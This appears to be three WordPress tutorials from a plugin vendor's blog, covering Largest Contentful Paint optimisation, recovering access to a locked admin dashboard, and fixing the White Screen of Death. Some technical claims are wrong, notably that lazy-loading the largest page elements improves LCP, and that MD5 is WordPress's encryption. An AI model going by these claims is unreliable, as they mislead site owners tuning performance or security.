Measuring a website’s user experience (UX) can be a tough challenge. But that’s what Google’s attempting to do with the Core Web Vitals metrics. And scoring well on these is important because Google weighs user experience when determining search engine rankings. 

There are several metrics that are part of Core Web Vitals, and they could sound a bit intimidating. The good news is that there are several tools that make it easier to understand your score and how to improve. 

In this article, we’ll look at one particular metric: Largest Contentful Paint (LCP). This measures how long it takes your website to load the largest element that you see on the screen. 

We’ll discuss how it impacts the user experience and what causes a poor LCP score. Then, we’ll show you how to improve it.

What is Largest Contentful Paint (LCP)?

LCP is a metric that measures how long it takes for the largest element on a page to load. For most pages, the largest element is a big image or a hero section at the top of the screen.

By itself, an LCP score helps you understand how quickly your site loads visual elements. Your page can continue to load scripts in the background without impacting this metric. In a nutshell, LCP scores only relate to media and text on a given page.

LCP is one of the three Core Web Vitals that Google uses to measure a page’s UX. The other two are:

1. First Input Delay (FID): FID measures how long it takes from the time a visitor takes their first action (clicking a link, for example) and when the site responds. 
2. Cumulative Layout Shift (CLS): This metric effectively measures the degree to which your site shifts when loading. Text might appear first, but then jump down the screen when an image loads, causing visitors to lose their place. 

As a rule of thumb, you want all three Core Web Vitals scores to be as low as possible. Low scores mean that a page loads quickly and smoothly. 

In terms of numbers, here’s what Google considers to be good, acceptable, and poor Core Web Vital scores:

Keep in mind that measuring page loading times is not the same as checking your website’s Core Web Vitals. Your site might load relatively fast, but it could have poor CLS or FID scores. Ideally, you’ll measure both overall loading times and Core Web Vitals to get an accurate assessment of your site’s performance.

How does LCP impact user experience on a WordPress site?

A poor largest contentful paint score means that your pages might be taking too long to load. Keep in mind that you need to measure Core Web Vitals on a page-by-page basis. While one page might have a poor LCP score, others may be just fine.

But generally, a site will see a trend to their LCP scores because results are often tied to optimization practices that are implemented site-wide. If a site has been created with no regard for best practices, every page will likely have a score on the low side. If a site has been carefully optimized, most pages will usually score pretty well. Thoughtful developers will identify pages that score below average and make specific adjustments to improve that page’s performance. 

Overall, a poor LCP score means that visitors might have to wait too long for your pages to fully load visually, and visitors don’t like waiting. If your pages take over two or three seconds to load, you can start turning around a lot of visitors.

It’s also worth noting that Core Web Vitals are a ranking factor in Google. Poor LCP scores can decrease rankings in the search engine results pages (SERPs), which means you’ll get less organic traffic. 

How to measure LCP scores

There are several tools that you can use to measure LCP scores. The simplest one is PageSpeed Insights. With this service, you can enter the URL for any page, and get a full report on its overall performance in a matter of seconds.

Once you enter a URL and click on Analyze, PageSpeed Insights will generate two reports for that page, one for mobile and the other for desktop performance. You can see your Core Web Vitals scores, including LCP, at the top of the report.

If you scroll down, the report also displays potential performance improvements that you can make for your website. For each suggested improvement, PageSpeed Insights gives you an estimate of the loading times that can be saved.

If you use Google Search Console, you can get access to the PageSpeed Insights reports without leaving the platform. And some WordPress plugins like Site Kit enable you to display Core Web Vitals scores right within the dashboard.

What causes a poor LCP score?

There are a lot of potential causes for a poor LCP score and long loading times. Usually, it comes down to issues with your server or a lack of optimization on your website. Let’s go over each potential cause:

1. Slow server response times. If your web host doesn’t offer good performance at the server level, there’s little that you can do to decrease your LCP scores. Slow server response times mean long waits for visitors —  even if your site is properly optimized. In this case, you might want to consider switching to a different WordPress hosting provider. 
2. Render-blocking JavaScript and CSS. In some cases, JavaScript and CSS scripts can prevent other assets on a page from rendering until they’re done loading. This is called “render-blocking” and it can increase your overall loading times.
3. Heavy files and images. If you use images with large file sizes, these may take a while to load. Ideally, you should compress and optimize the images you upload to your site.
4. Not leveraging browser caching. Browser caching saves a copy of your site’s static content in visitors’ browsers to speed up your load time for future visits. If you’re not leveraging browser caching, users will have to reload pages in full every time they stop by.
5. Not using GZIP compression. This is a software application that compresses HTTP requests and files at the server level. Most reputable web hosts should offer GZIP compression right out of the box.

How to improve largest contentful paint in WordPress

There are several ways to reduce your WordPress website’s LCP score and improve its overall performance. Let’s take a look at the most effective methods. 

1. Use a plugin designed to help improve Core Web Vitals in WordPress

There are several plugins that are designed to help you improve your Core Web Vitals scores. One of the most powerful solutions is Jetpack Boost.

Jetpack Boost can help you implement multiple performance optimizations simply by toggling the corresponding settings. You can defer render-blocking JavaScript, enable lazy loading, and optimize CSS code within your website.

While using Jetpack Boost will help improve your LCP scores, it doesn’t mean that you should skimp on other performance optimizations. After enabling the plugin, we recommend that you also implement other strategies to improve your Core Web Vitals even further.

2. Minify your website’s CSS

When you work with code, it’s considered good practice to format it in a way that’s easy for other people to understand. This means using spaces, spreading the code over multiple lines, and structuring it in a way that makes it easier to read.

The problem with that approach is that every space and character takes up additional disk space. If we’re only talking about a few lines of code, that doesn’t have much of an impact. But when you’re dealing with dozens or hundreds of CSS files, each with hundreds of lines of code, those scripts can affect your website’s loading times and LCP scores.

One way to minimize the impact of CSS is to “minify” the code. This involves removing unnecessary characters and white spaces to reduce file size. To see how that works, here’s an example of some CSS code for styling several div elements:

div{
  border: 3px solid currentColor;
}
#div1{
  color: green;
}
#div2{
  color: blue;
}

Now, here’s how that code looks after you minify it:

div{border:3px solid currentColor}#div1{color:green}#div2{color:#00f}

Depending on the minification tool you use, it might also replace values with optimized alternatives. We mention minification tools because formatting code by hand takes too long and can lead to errors.

There are plenty of free minification tools that you can use on the web, including options like Toptal’s CSS minifier.

There are also WordPress minification plugins that you can use to optimize your website’s code. Most of these plugins don’t just minify CSS, but they also include other features like deferring render-blocking JavaScript and CSS. We’ll talk about what that means in the next section.

3. Defer render-blocking JavaScript and CSS

When you visit a website, it might not load resources in a way that reduces loading times as much as possible. In some cases, JavaScript files might cause your browser to wait until those scripts are finished loading before it continues to render other elements.

That render-blocking code increases your page’s LCP score. There are two ways to deal with this problem:

1. Eliminate render-blocking scripts.
2. Defer render-blocking scripts until other elements finish loading.

The second option is ideal if you’re handling code that your website needs for critical features. By deferring the necessary scripts, pages will finish visually rendering and then the code will load in the background. As far as users are concerned, everything will load faster.

The easiest way to figure out what scripts block rendering is to use PageSpeed Insights. Every PageSpeed Insights report includes a section that covers recommended performance tweaks. 

After you run a test, look under the tab that says Remove render-blocking resources. Inside, you’ll see a list of JavaScript and CSS scripts that block rendering. This section will also give you an estimate of how much loading time you can shave off by deferring each one.

You can use the web.dev tool if you don’t mind editing code. Alternatively, you can once again turn to Jetpack Boost to defer render-blocking scripts. It handles multiple elements of improving core web vitals all at once.

There are also several standalone plugins that defer render-blocking scripts and minify them. These include:

1. Autoptimize: you can defer render-blocking JavaScript and CSS, and enable image lazy loading for your website.
2. Fast Velocity Minify: this plugin can defer, minify, and combine JavaScript and CSS files on your website.
3. Hummingbird: this WPMU DEV plugin enables you to leverage browser caching, defer render-blocking scripts, and minify JavaScript and CSS. 

When dealing with plugins that can minify your website’s code, we recommend that you fully back up your WordPress site before activating them. That way, if the minification process breaks any core functionality within your website, you can revert to an earlier version without losing any data.

4. Optimize your site’s images

One of the main culprits behind poor LCP scores in WordPress is large image files. High-resolution images look amazing, but they also take up a lot of storage space. If you’re dealing with uncompressed files and have multiple images in a single page, loading times can quickly spiral out of control.

The best way to solve this problem is to optimize your images. You can do this either before or after uploading them to WordPress. 

Optimizing images means compressing them. Depending on the compression tool that you use, the process should have minimal impact on image quality, but it can greatly reduce file sizes and overall loading times.

If you want to optimize images before uploading them to WordPress, you can use free online tools like TinyPNG.

With TinyPNG, you can upload and optimize JPG and PNG files manually. The service compresses the images and then lets you download them to your computer. Afterward, you can proceed to upload the compressed images to WordPress.

Jetpack CDN is a great option to optimize your images directly in WordPress. It also automatically resizes images for mobile devices, speeding up your site across the board. Speaking of the benefits of a CDN… 

5. Use a content delivery network (CDN)

A CDN is a service that provides you with access to data centers spread across strategic regions. These data centers store cached copies of your website and intercept connections for people who want to visit it.

A CDN automatically routes those connections to the data center that’s nearest each visitor. Since the site content has less distance to travel, the page will load faster. 

Moreover, CDNs are designed to serve requests as quickly as possible. This means that they usually load content much faster than the servers run by your hosting provider.

Services like Cloudflare offer limited free CDN plans that can cache a few of your site’s pages. Some managed WordPress web hosts offer built-in CDN integrations, so you don’t have to pay for a separate service. But if you use Jetpack, you also get access to a free, WordPress-specific CDN, which you can use to speed up images and website files.

Frequently asked questions about Largest Contentful Paint in WordPress

If you still have questions about how to measure and optimize your LCP score, this section will answer them. 

How can I measure my WordPress site’s LCP score?

Since LCP scores are part of the Core Web Vitals metrics, you need to use Google tools to measure them. Google offers three ways to measure your LCP score:

1. PageSpeed Insights: You can use this online service to measure any page’s Core Web Vitals on demand. When you analyze a page, PageSpeed Insights will also return suggestions for improving performance and overall UX.
2. Google Search Console: This service enables you to monitor your website’s search engine optimization (SEO) and overall health. Google Search Console also includes built-in recommendations and scores from PageSpeed Insights.
3. Lighthouse: You can use this Chrome extension to get access to advanced features when using the browser’s dev tools.

Google also offers an official plugin called Site Kit that you can use to access several of its services from within WordPress. With Site Kit, you can get access to PageSpeed Insights reports, including LCP scores, without leaving the dashboard.

What is a good LCP score?

According to Google, anything below 2.5 seconds is a good LCP score. Even if your website does meet that criteria, it doesn’t mean you shouldn’t optimize it further.

Ideally, you’ll want to reduce website loading times as much as possible. If you can aim for overall loading times of less than one or two seconds, you can offer a much better user experience.

How can I easily optimize my LCP score on WordPress?

The easiest and quickest way to optimize your LCP score on WordPress is to install Jetpack Boost. This plugin will also help you improve your other Core Web Vitals scores, including First Input Delay and Cumulative Layout Shift. 

Start by installing and activating Jetpack Boost on your site:

Then, navigate to Jetpack → Boost in your dashboard. Here, you’ll see options for optimizing CSS loading, deferring non-essential JavaScript, and activating lazy image loading. We recommend that you enable all three options. 

Enabling lazy loading is a great way to improve your website’s LCP scores. WordPress includes lazy loading as a built-in feature as of version 5.5, but you’ll need to enable the setting manually for images that you want to optimize.

With Jetpack Boost, you can enable lazy loading for all images on your website at once. By deferring the largest elements on every page, your LCP score should improve immediately.

Improve your website’s Core Web Vitals

Improving your website’s Core Web Vitals can help you offer a better user experience. LCP scores, in particular, greatly affect how happy visitors are with your site’s performance. A low score means that your website loads fast, and a fast-loading website means fewer frustrated visitors.

Let’s recap the most effective methods that you can use to improve your LCP score in WordPress:

1. Use a plugin designed to help improve Core Web Vitals.
2. Minify your CSS.
3. Defer render-blocking JavaScript and CSS.
4. Optimize your website’s images.
5. Use a content delivery network.

With Jetpack Boost, you can quickly optimize your website’s Core Web Vitals, including its LCP scores. Jetpack Boost enables you to implement multiple performance optimizations simply by toggling their corresponding settings. Plus, it’s free and works seamlessly with the rest of the Jetpack family of tools.

It might seem like the end of the world if you’ve been locked out of your WordPress admin panel and can’t log into your website. But take a deep breath and don’t panic; there are things you can do to recover your access. If you’re new to WordPress, you may want to seek support from your hosting company or developer.

Simple solutions to access your WordPress admin dashboard  

Before you try anything complicated, there are a few simple things you can do. Try these things first:

• Clear your browser cache. Different browsers have different settings, but you can usually clear your browser’s cached files through the History or More Tools options in your browser’s menu. 
• Clear your WordPress cache. If your hosting company is caching your website for performance, try clearing that information through your hosting account.
• Use an incognito window. Try opening your site in an incognito or private browsing window to be sure you’re not looking at a cached version of the site.
• Check for a security breach. If your site has been corrupted due to a hack, it’s good to know right away. If you have Jetpack Scan, check your email inbox for a notification regarding malware. If your website has malware, take the recommended steps in our article about what to do if your WordPress site is hacked. 

Common problems accessing the WordPress admin dashboard (and their solutions!) 

If your admin area is still inaccessible, it’s time to start digging into your WordPress settings. Many of these solutions require access to your hosting account and knowledge of how WordPress files and the database are configured. If you’re not familiar with these, ask your hosting provider or website administrator for help.

Pro tip: Any and all of these solutions involve delicate, moving parts of your website and an error can make things worse. Always take a full backup of your website before beginning.

1. Your login credentials aren’t working

Occasionally, you may be able to see the login screen, but when you enter your ID and password, you receive an error message that says your credentials are invalid. If you’ve already double and triple checked your login information — and made sure you don’t have caps lock turned on accidentally — it’s time to reset your password.

The solution: Reset your password

If your username and password just aren’t working, start with a simple password reset. Click the “Lost your password?” link below the login fields and WordPress will use the email on file to send a reset link.

If you no longer have access to the email on file, or the reset fails for any reason, passwords can be reset in a few other ways:

1. Ask an administrator to reset your password.

If another admin on your website still has access, they can manually reset your password by going to Users in the WordPress dashboard.

2. Put your new password directly into the WordPress database. 

Log into your hosting account and use their administration interface to directly access your database (for most hosts, this will be using cPanel to launch phpMyAdmin). 

Open your website’s database. If you have more than one, you can look for the database name in your wp-config.php file. 

Open the wp_users table and look for your username or email. Click Edit to update your information.

Look for the user_pass field, and delete the existing string. Then enter your new password. Set the Input Style to MD5 (the form of encryption that WordPress uses).

Save your changes.

3. Create an entirely new admin user. 

If your existing user account has been corrupted or cannot be accessed for any other reason, you can create a new admin user from the phpMyAdmin interface by adding information to the wp_user and wp_usermeta tables. 

In the wp_users table, add a new line and enter an ID number (any user ID number that is not already in use), a user_login (username), user_nicename (same username again), user_email, user_status (set this to 0), and display_name. You’ll also need to enter a password in the user_pass field in MD5 format. 

Then use the same ID number to add admin permissions in the wp_usermeta table. Set the meta_key to be wp_capabilities and meta_value to be a:1:{s:13:”administrator”;b:1;}

See more detailed instructions here. Now you should be able to use your new credentials to log into the dashboard as usual.

2. Part of the dashboard functionality is missing

If you’re missing key functionality, like access to the Customizer, Settings, or Theme Editor, your user account may have been set up incorrectly.

The solution: Get an admin account

You’ll need another administrator on the website to modify your account and grant you administrative powers. Was your account hacked? Try resetting the admin password using phpMyAdmin through your hosting account, or creating a brand new admin account directly in the database (see the section above for more details). Don’t forget to reset all passwords once you’re in and scan your site for any backdoors or malware that hackers might have left in your code.

3. Cookies aren’t enabled

Cookies are required to get through the WordPress login process, so if they’re not working correctly, you may see an error message like “Cookies are blocked or not supported by your browser” when trying to log in. 

The solution: Change your browser settings

First, check your browser settings to make sure you allow and accept cookies. If that still doesn’t work, the problem may be your caching or security plugin. If you’ve installed a new plugin on your site, deactivate it and try to log in again. 

The easiest way to disable a plugin without access to your dashboard is to rename the plugin:

• Use FTP to connect to your website’s server.
• Navigate to public_html → wp-content → plugins.
• Rename the security or caching plugin to anything you’d like. This will deactivate it.

Don’t forget to clear your cache before trying to log in again. If this solves the problem, then you’ll need to either choose a different caching or security plugin, or troubleshoot the issue with their support team.

4. You’re locked out by a security plugin

Some WordPress security plugins limit the number of failed login attempts you can make, and if you’ve been using expired credentials, you might hit that limit and be blocked. 

Other plugins contribute to WordPress security by changing the default login URL from the standard https://yoursite.com/wp-admin to something different. This can help block brute force attacks. But problems can arise if you forget the new login URL (a much more common problem than you might think!).

The solution: Disable the plugin

The easiest way to do this when you don’t have access to your dashboard is by renaming the directory containing the plugin’s files, to stop WordPress from finding the files and loading them on startup. You’ll do this by following the same instructions as in step three:

• Use FTP to connect to your website’s server.
• Navigate to public_html → wp-content → plugins.
• Rename the security or caching plugin to anything you’d like. This will deactivate it.

Once the plugin is renamed, try reloading your login screen. Don’t forget that you might have to clear your browser cache. While logged in, rename your plugin to its original title via FTP. Then, check your security plugin settings and clear any blocks. 

5. You’re getting a fatal memory error

You’ll know you have memory problems with your WordPress installation if you see an error that says “Allowed Memory Size Exhausted.” This means that your WordPress configuration and plugins require more memory than your hosting account currently provides.

The solution: Increase memory for WordPress

You can try increasing your WordPress memory limit by editing your wp-config.php file, a settings file that lives at the root level of your WordPress installation. You’ll need to use FTP to download this file for editing, or use your hosting account’s file manager.

Once you’re editing the file, try adding this line at the very bottom:

define( 'WP_MEMORY_LIMIT', '512M' );

This should increase your installation memory limit and allow WordPress to load.

However, be aware that the amount of memory allocated to your WordPress installation is also controlled by your hosting company. They’ll set a maximum memory limit for each user, and that limit takes precedence over the WordPress wp-config file setting. You may need to verify your memory limit with your host, and upgrade your hosting package or ask them to make changes to your account to properly resolve this error.

6. You’re seeing the “white screen of death” or a 500 error

Probably the scariest event for a website owner is the infamous “white screen of death,” where your website just shows you nothing at all. Or it could just show an error code from your server. This problem is typically caused by a plugin or theme conflict.

The solution: Deactivate all plugins or change your theme

Usually, a problem like this is caused by a conflict between an older plugin or theme that is no longer compatible with a WordPress core update. Your goal is to turn off all plugins and change your theme to a simple, default theme to determine the cause. 

Start by turning off all of your plugins at once, which you can do by renaming the Plugins folder via FTP:

• Use FTP to connect to your website’s server.
• Navigate to public_html → wp-content.
• Rename the plugins folder to whatever you’d like (e.g. plugins.bak).

Attempt to load your website again. If it loads properly, you’ll know that a plugin was the cause of the error. Now, return the plugins folder to its original name and deactivate each plugin one at a time (see sections three or four to learn how to turn off individual plugins) until you find the culprit. Once you’ve determined the problem, you can roll the plugin back to a previous version to see if that solves the problem, reach out to the developer for support, or find a different plugin to use instead.

Pro tip: Turn on debug mode, which can cause an error message to appear on your site that identifies the specific plugin causing the issue. Do this by adding these lines to your wp-config.php file:

define( ‘WP_DEBUG’, true);
define( ‘WP_DEBUG_LOG’, true);

If turning off all plugins still doesn’t fix the problem, try deactivating your theme. In this case, WordPress will load a basic, default theme like Twenty Twenty-One. You’ll want to remove your theme by renaming its directory using FTP:

• Navigate to public_html → wp-content → themes. Find your current, active theme.
• Rename the theme folder to whatever you’d like (e.g. my-theme.bak). 

Note that this will only work if you have a default theme installed. If you don’t, you can upload one to your themes folder that WordPress can revert to when you deactivate your current theme.

If your site still shows nothing or shows a server error, try contacting your hosting provider for help.

7. You encounter a PHP syntax error

If you’ve been working with custom code — like making changes to your child theme or plugins files — you might accidentally break your site. You’ll see a PHP syntax error pop up on your screen, sometimes embedded at the top of your site’s framework, or simply a blank white screen. Some PHP errors are more critical than others, and depending on the type of code you’re editing, they may prevent you from accessing the back end of your site.

The solution: Manually fix the PHP error

You’ll want to access the back end of your site via FTP or your hosting company’s cPanel to find the file you were working on. Usually, the reported PHP error will specify the file causing the problem, along with the specific line of code you need to edit. The cause of the issue can vary widely depending on the mistake made. However, look for things like extra characters and open brackets.

8. You get a database connection error

It’s rare, but occasionally WordPress will lose its connection to the database. In this case, you’ll see an error message saying that there is a database connection problem.

The solution: Repair the wp-config.php file manually

Your database connection is controlled through your wp-config.php file, which lives in your WordPress directory. Access that directory using FTP, and edit the wp-config.php file with the current or updated database settings.

Use your hosting account’s management panel to find the details of your database, then cross reference those details with your wp-config.php file. You’ll need:

• The name of your database
• The table prefix used by the tables in your database
• Your database’s username and password
• The host where your database lives (usually “localhost”, but sometimes a specific IP address).

Every hosting account is different, so contact your host for assistance finding this info if necessary. Now update the info to your wp-config file in the lines that look like this:

/** The name of the database for WordPress */
define( ‘DB_NAME’, ‘database_name_here’ );
/** Database username */
define( ‘DB_USER’, ‘username_here’ );
/** Database password */
define( ‘DB_PASSWORD’, ‘password_here’ );
/** Database hostname */
define( ‘DB_HOST’, ‘localhost’ );
/** table prefix */
$table_prefix = ‘wp_’;

Your database should connect once all of these settings are configured properly.

Need more help? See our full article about troubleshooting “Error Establishing Database Connection” on WordPress.

9. File permissions are not set correctly

This is rare, but sometimes an error during the WordPress upgrade process or installation of a plugin can cause file permission problems. These can be hard to spot — you’ll sometimes see a permission error on the screen, but other times, they just quietly prevent logins, media uploads, or the installation of new plugins. When you’re seeing mysterious failures that seem to have to do with files not loading or uploading properly, you could have a file permissions issue.

The solution: Fix file permissions remotely

For this fix, you’ll want to use FTP to double-check the permissions on all files and directories, and repair them if necessary. The general rule of thumb for WordPress permissions is:

• Permissions code 644 for files
• Permissions code 755 for directories

If you suspect a file permissions issue, then go through your full WordPress directory structure carefully, double-checking the permissions on each file and directory, to make sure they match the recommended status above. 

Don’t forget to set the permissions properly for top-level files, especially the wp-config.php file and your .htaccess file, both of which control key connection and security parameters. If you’re not sure how to do this, reach out to your hosting provider for help.

The catch-all solution to access your WordPress admin area

If you still can’t get into your site’s admin area, it may be easiest to restore a full backup of your WordPress site. The downside is that you may lose any new files or changes you’ve made to your site since the last usable backup. 

But if you have a good backup system in place, restoring one might even be a better solution than trying to troubleshoot and resolve an error. The best peace-of-mind comes from offsite, live backups like the kind generated by Jetpack Backup. Jetpack keeps your data current at all times and allows for restorations with just one click, even if you have no access at all to your WordPress dashboard. You can even use the WordPress activity log to choose an exact point to which you’d like to restore — like right before you started to experience the error. 

If you haven’t set up your own WordPress backups, you may be able to get help from your hosting provider. Although not as trustworthy or current as an off-site backup solution, great hosts usually back up sites on a fairly regular basis. You may lose some data, but it will still be a relief to get your site up and running again.

How to avoid getting locked out of WordPress

Losing access to your WordPress site’s administration dashboard is stressful. Protect yourself and your site going forward by:

• Saving your passwords with a secure, encrypted, local password manager
• Using a reliable hosting provider that provides excellent support and security features
• Only working with properly-licensed plugins and themes from reputable companies that receive frequent updates
• Keeping regular, offsite backups of your site that can be restored with one click should your site break or become inaccessible for any reason

Remember that a website requires care, attention, and maintenance to keep it healthy. Put the right protections in place now to prevent problems in the future.

When trying to access your WordPress website, you may suddenly see a blank, white error page. This White Screen of Death (WSOD) can be incredibly frustrating because it makes your website inaccessible, including the backend.

Fortunately, it’s usually pretty easy to troubleshoot any conflicts that may be causing the problem. In this post, we’ll explain what the WSOD is and how it can happen. Then we’ll show you eight different ways to fix this problem in WordPress.

An introduction to the White Screen of Death in WordPress

As its name suggests, the White Screen of Death (WSOD) is a common WordPress error that manifests itself as a blank, white screen. This can be alarming, since it typically doesn’t display an error message explaining what’s wrong.

The WSOD may look different depending on the web browser you’re using. In Google Chrome, for example, you might see an HTTP 500 error message. But most browsers show no information at all.

The White Screen of Death can cause website downtime, preventing visitors from accessing your content. It’s also possible that you’ll only see this error on specific pages, rather than your entire site.

This problem can also happen on the back end, locking you out of your WordPress dashboard. In this case, your content will be live, but you won’t be able to perform any updates or maintenance.

Potential causes of the WordPress White Screen of Death

Although you might immediately assume that your server is down or someone has hacked your website, the White Screen of Death usually isn’t related to these issues. When you see a blank white error page, it’s likely due to PHP or database errors. 

Unfortunately, there’s no one-size-fits-all solution to the WSOD since so many different things can cause it. But the most common cause is exhausted memory limits. This means that the PHP scripts on your website are overloading your server’s memory. 

You might also see the WSOD due to theme or plugin conflicts. So if you just updated your plugins or installed a new one, that’s likely the issue. That’s why it’s important to test new software updates on a staging site before installing them on your live site.

The WSOD can also be the result of strict file permissions. Since file permission settings affect how server-level users handle your files, they may trigger errors like the White Screen of Death. 

Additionally, if only the front end of your site is down, it could be because of caching issues. So fixing the WSOD could be as simple as clearing your cache.

How to fix the WordPress White Screen of Death

Before you get started, it’s important to back up your content. That’s because when you edit core WordPress files, you risk breaking your site.

If you can access your dashboard, you can simply install a backup plugin like Jetpack Backup to quickly and securely save your data. You’ll then be able to restore these files if anything goes wrong.

Alternatively, since the WSOD can lock you out of the admin area, you may need to manually back up your site instead. You can do this using an FTP client. Once you’re finished, it’s time to troubleshoot the White Screen of Death!

1. Clear your browser cache

Your browser’s cache stores versions of your site so it can quickly reference and load it again in the future. But if it becomes out of date, this can also occasionally result in a WSOD. 

This one is pretty simple to solve. All you’ll need to do is clear your browser’s cache. This ensures you’re seeing the latest version of your website.  

To do this, navigate to your browser settings. In Google Chrome, you’ll need to click on the three dots in the top-right corner and select More Tools → Clear Browsing Data:

This will take you to a page where you can clear your browsing history, cookies, and other site data. You can also choose to delete cached images and files.

If you also have a WordPress caching plugin installed, you might consider clearing its cache as well. Although the steps will vary depending on your plugin, you’ll need to find its settings and “purge” the cache.

As an example, you can clear the cache in the LiteSpeed Cache plugin by clicking on its icon at the top of the page. Then select Purge All.

If you have a hosting plan that enables caching, you can clear your cache using your control panel. This can be an effective option, especially if you’re unable to access your admin dashboard.

2. Disable all active plugins

The White Screen of Death can be the result of plugin conflicts. To solve this issue, you should disable any active plugins and reactivate them one by one. This process will help you pinpoint the plugin that’s causing the error.

If you can access your dashboard, simply go to the Plugins page and select all active plugins using the Bulk Actions feature. Then select Deactivate, followed by Apply.

Next, check to see if this resolved the WSOD. If so, reactivate each plugin one at a time. After each activation, check to see if the problem has returned. This will allow you to match the error to a specific plugin.

Once you find the problem plugin, you can delete it and download a different tool with similar functionality. If you want to keep the plugin, consider reverting it to a previous version. Using a tool like WP Rollback, you can return plugins to older iterations. 

If the White Screen of Death prevents you from logging in to your dashboard, you’ll have to take a different approach. When this happens, you’ll need to disable plugins using a file manager or File Transfer Protocol (FTP) client.

With cPanel, you can access and edit your site files using the login information from your hosting provider. Then find the wp-content folder within the public_html folder.

Next, locate the plugins folder. Rename it “plugins-disabled”:

Then try to log in to your WordPress dashboard. If disabling the plugins solves the WSOD, you’ll need to reactivate them one by one to target the source of the problem.

3. Replace your theme

Your active theme could also be incompatible with one or more plugins due to conflicting software. To see if this is causing the WSOD, consider replacing your current theme with a default theme. 

To do this, go to your dashboard and select Appearance → Themes. Then search for a default WordPress theme.

Once you find a default theme, install and activate it. After that, reload your website to see if this resolved the WSOD. 

If the White Screen of Death locks you out of the admin area, you won’t be able to go through this process. As an alternative, you can install a default theme using cPanel or an FTP client.

Deactivating your theme is very similar to deactivating plugins. In your wp-content file, find the Themes file. Rename it “themes-disabled”:

This should automatically revert your theme to the latest default version you have installed on your website.

If you don’t have any default themes installed, you’ll have to manually install one. Start by finding a default theme in the WordPress Theme Directory. Then download it as a .zip file.

In cPanel or an FTP client, upload this .zip file to the Themes folder.

When using cPanel, extract the .zip file in the same folder. For an FTP client, you can skip this step.

Whether you use cPanel or an FTP client, the last step is to activate the default theme. To do this, log in to your WordPress dashboard and navigate to Themes. Then activate the default option you just installed.

4. Enable debug mode

Even after attempting the previous solutions, you might still see the White Screen of Death on your WordPress site. Since this error won’t display a cause, you may want to switch on debug mode to identify the specific issue.

To activate debug mode, you’ll need to edit your site’s wp-config.php file. Since this handles your site’s base configuration details, it’s important to back up your site content before you get started.

After creating your backup, open a file manager like cPanel or an FTP client. Next, find the wp-config.php file, which will be in the public_html folder.

If you’ve used debug mode before, find this line of code: 

define( 'WP_DEBUG', false );

Then, simply change “false” to “true.”

If you don’t see this line of text already, copy and paste this code into the wp-config.php file instead:

// Enable WP_DEBUG mode
define( ‘WP_DEBUG’, true );
// Enable Debug logging to the /wp-content/debug.log file
define( ‘WP_DEBUG_LOG’, true );

When you reopen the web page with the WSOD, it should now display new error and warning messages. This will give you further information about why the WSOD happened and what file it originated from. 

5. Adjust your server’s memory limit

One of the most common reasons for the White Screen of Death is memory limit exhaustion. This happens when your PHP scripts are draining the maximum memory allocated from your web host. To resolve this problem, you’ll need to increase the memory limit.

Similar to debug mode, memory limits can be adjusted using your website’s wp-config.php file. You can access this file by signing in to cPanel with your hosting provider.

After you access cPanel, go to public_html → wp-config.php. In this file, find the line that says “That’s all, stop editing! Happy publishing.” Add this line of code right before it:

define( 'WP_MEMORY_LIMIT', '64M' );

This will increase your WordPress PHP memory limit to 64MB. Once you’re finished, save your changes.

Then go back to your website and see if the WSOD is gone. If not, you can repeat the process to increase the memory limit even more. Keep in mind that most hosting providers will have a maximum memory limit, especially if you’re on a shared plan.

If this doesn’t add enough memory, you may need to hire a developer to look for the plugins that are using too many resources. Alternatively, your hosting provider can give you resource and SQL logs for your site, which you can use to pinpoint the area that is exhausting your memory limit.

6. Restore a backup

One of the most common causes of the WSOD is simply user error. Even experienced developers can make mistakes when editing code. And a simple typo can lead to serious issues.

If you can’t find the flawed line of code, you can restore a previous version of your website. This can be much easier than trying to troubleshoot the cause.

Jetpack Backup is a powerful tool that saves everything you do on your site in real time. So if you encounter a WSOD, you can just revert the site to a previous version.

When you need to restore a backup, log into your WordPress.com account and navigate to Jetpack → Backup.

Simply find the one that you want to restore, then click on Restore to this point. This can undo any recent changes you made while coding. 

7. Resolve auto-update failures

Sometimes, WordPress can fail to finish updates, especially if the server times out. Usually, this resolves itself, but it can occasionally cause the White Screen of Death.

When your website uses automatic updates, WordPress will put your site into ‘maintenance mode’ during the update process. Occasionally, your site can get stuck in maintenance mode. If there’s a compatibility issue, you’ll need to manually fix it.

To do this, first, go to your root directory. You can either use your hosting provider’s cPanel account or access your website files through an FTP client.

Open the public_html folder. In the list of options, check to see if there’s a .maintenance file.

WordPress usually uploads this file during updates, and then deletes it when they’re finished. If you see a .maintenance file, select it and delete it.

Then reload your website. If the upload was successfully completed before the error, your site should be back up and running. 

8. Check your WordPress file permissions

Although your file permissions may be causing the WordPress White Screen of Death, it’s best to try this fix as a last resort. Without the right experience, you can accidentally create vulnerabilities that lead to hacks.

Still, changing your file permissions can be useful when all else fails. To get started, go to your File Manager. Then, open the public_html folder and select the wp-admin, wp-content, and wp-includes folders.

Right-click on your selection and find Permissions. This will open the file permissions information for your website.

Here are some basic things to keep in mind when altering file permissions:

• Folders should have a value of 775 or 755.
• Files should have a value of 664 or 644.
• The wp-config.php file should have a value of 660, 600, or 644.

For your selected files, set their numerical value to 755. Then, make sure the Recursive button is checked.

After updating permissions for those files, continue to select every file in your root directory. Then right-click again to view the file permissions.

This time, make sure the numerical value is set to 644. After you update your file permissions, check to see if the WSOD is gone. 

How to avoid the White Screen of Death in the future

Fixing the White Screen of Death on WordPress can involve extensive troubleshooting, so it’s important to know how to prevent this error from happening again. Fortunately, there are a few preventative measures you can take.

A few common reasons for the WSOD are theme and plugin conflicts. To avoid creating any issues on your site, be sure to only install reputable software. This involves researching themes and plugins before installation.

To ensure that a specific theme or plugin is safe, you can check its number of active installations. Chances are, the higher the installation number, the better the plugin will be. You can also read user reviews to see what other website owners and developers have to say.

You should also make sure that the plugin or theme has been updated recently. Generally, it’s best not to install software that hasn’t been updated in the past six months.

Once you find the right plugin or theme, you can use a staging site to test it. This involves making a copy of your live site to safely run performance tests on new software. By doing this, you can check for any compatibility issues before launching applications on your live website.

Finally, it’s wise to limit the number of active plugins on your website. When you have too many plugins, you increase the risk of software incompatibility. Therefore, consider activating only the plugins you regularly use. 

A solution to common WordPress errors

It’s natural to worry when you’re locked out of your website and can only see a white error page. Luckily, even though the WSOD looks daunting, you can usually remedy it by troubleshooting the most common causes.

If you’ve put a lot of work into your website or it’s an important part of your livelihood, it’s best to invest in WordPress security tools like Jetpack and Jetpack Backup. With Jetpack Backup, you can quickly and easily restore previous versions of your website. Even when you experience the White Screen of Death, your data will be safe and you can get your site back up in a few clicks or less.

